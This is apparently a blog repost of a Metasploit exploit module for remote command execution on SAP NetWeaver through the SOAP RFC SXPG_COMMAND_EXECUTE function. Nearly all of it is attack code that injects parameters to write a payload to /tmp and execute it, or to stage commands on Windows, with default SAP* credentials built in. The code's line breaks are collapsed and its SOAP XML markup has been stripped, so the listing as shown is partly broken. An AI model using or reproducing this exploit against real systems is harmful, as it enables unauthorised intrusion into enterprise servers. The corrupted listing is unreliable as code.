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SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
阅读量:2434 次
发布时间:2019-05-10

本文共 6625 字,大约阅读时间需要 22 分钟。

### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##### This module is based on, inspired by, or is a port of a plugin available in# the Onapsis Bizploit Opensource ERP Penetration Testing framework -# http://www.onapsis.com/research-free-solutions.php.# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts# in producing the Metasploit modules and was happy to share his knowledge and# experience - a very cool guy.## The following guys from ERP-SCAN deserve credit for their contributions -# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and# Dmitry Evdokimov.## I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis# who have Beta tested the modules and provided excellent feedback. Some people# just seem to enjoy hacking SAP :)##require 'msf/core'class Metasploit4 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::CmdStagerVBS  include Msf::Exploit::EXE  include Msf::Exploit::Remote::HttpClient  def initialize    super(      'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution',      'Description' => %q{          This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP        SOAP RFC Service, to execute remote commands. This module needs SAP credentials with        privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested        successfully on Windows 2008 64 bits and Linux 64 bits platforms.      },      'References' =>        [          [ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],          [ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],          [ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]        ],      'DisclosureDate' => 'May 8 2012',      'Platform'       => ['win', 'unix'],      'Targets' => [        [ 'Linux',          {            'Arch'     => ARCH_CMD,            'Platform' => 'unix'            #'Payload'  =>              #{                #'DisableNops' => true,                #'Space'       => 232,                #'Compat'      =>                  #{                    #'PayloadType' => 'cmd',                    #'RequiredCmd' => 'perl ruby',                  #}              #}          }        ],        [ 'Windows x64',          {            'Arch' => ARCH_X86_64,            'Platform' => 'win'          }        ]      ],      'DefaultTarget' => 0,      'Privileged' => false,      'Author' =>        [          'nmonkee'        ],      'License' => MSF_LICENSE    )    register_options(      [        Opt::RPORT(8000),        OptString.new('CLIENT', [true, 'SAP Client', '001']),        OptString.new('USERNAME', [true, 'Username', 'SAP*']),        OptString.new('PASSWORD', [true, 'Password', '06071992'])      ], self.class)    register_advanced_options(      [        OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),      ], self.class)  end  def send_soap_request(data)    res = send_request_cgi({      'uri' => '/sap/bc/soap/rfc',      'method' => 'POST',      'data' => data,      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),      'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],      'ctype' => 'text/xml; charset=UTF-8',      'headers' => {        'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',      },      'vars_get' => {        'sap-client' => datastore['CLIENT'],        'sap-language' => 'EN'      }    })    return res  end  def build_soap_request(command, sap_command, sap_os)    data = "
\r\n" data << "
\r\n" data << "
\r\n" data << "
\r\n" data << "
#{command}
\r\n" data << "
#{sap_command}
\r\n" data << "
#{sap_os}
\r\n" data << "
\r\n" data << "
\r\n" data << "
\r\n" data << "
" return data end def check data = rand_text_alphanumeric(4 + rand(4)) res = send_soap_request(data) if res and res.code == 500 and res.body =~ /faultstring/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit if target.name =~ /Windows/ linemax = datastore['PAYLOAD_SPLIT'] vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250 print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request") execute_cmdstager({ :delay => 0.35, :linemax => linemax }) elsif target.name =~ /Linux/ file = rand_text_alphanumeric(5) stage_one = create_unix_payload(1,file) print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...") res = send_soap_request(stage_one) if res and res.code == 200 and res.body =~ /External program terminated/ print_good("#{rhost}:#{rport} - Payload dump was successful") else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") end stage_two = create_unix_payload(2,file) print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...") send_soap_request(stage_two) end end def create_unix_payload(stage, file) command = "" if target.name =~ /Linux/ if stage == 1 my_payload = payload.encoded.gsub(" ","\t") my_payload.gsub!("&","&") my_payload.gsub!("<","<") command = "-o /tmp/" + file + " -n pwnie" + "\n!" command << my_payload command << "\n" elsif stage == 2 command = "-ic /tmp/" + file end end return build_soap_request(command.to_s, "DBMCLI", "ANYOS") end def execute_command(cmd, opts) command = cmd.gsub(/&/, "&") command.gsub!(/%TEMP%\\/, "") data = build_soap_request("&#{command}", "LIST_DB2DUMP", "Windows NT") begin res = send_soap_request(data) if res and res.code == 200 return else if res and res.body =~ /faultstring/ error = res.body.scan(%r{
(.*?)
}) 0.upto(error.length-1) do |i| vprint_error("#{rhost}:#{rport} - Error #{error[i]}") end end print_status("#{res.code}\n#{res.body}") fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") end endend  

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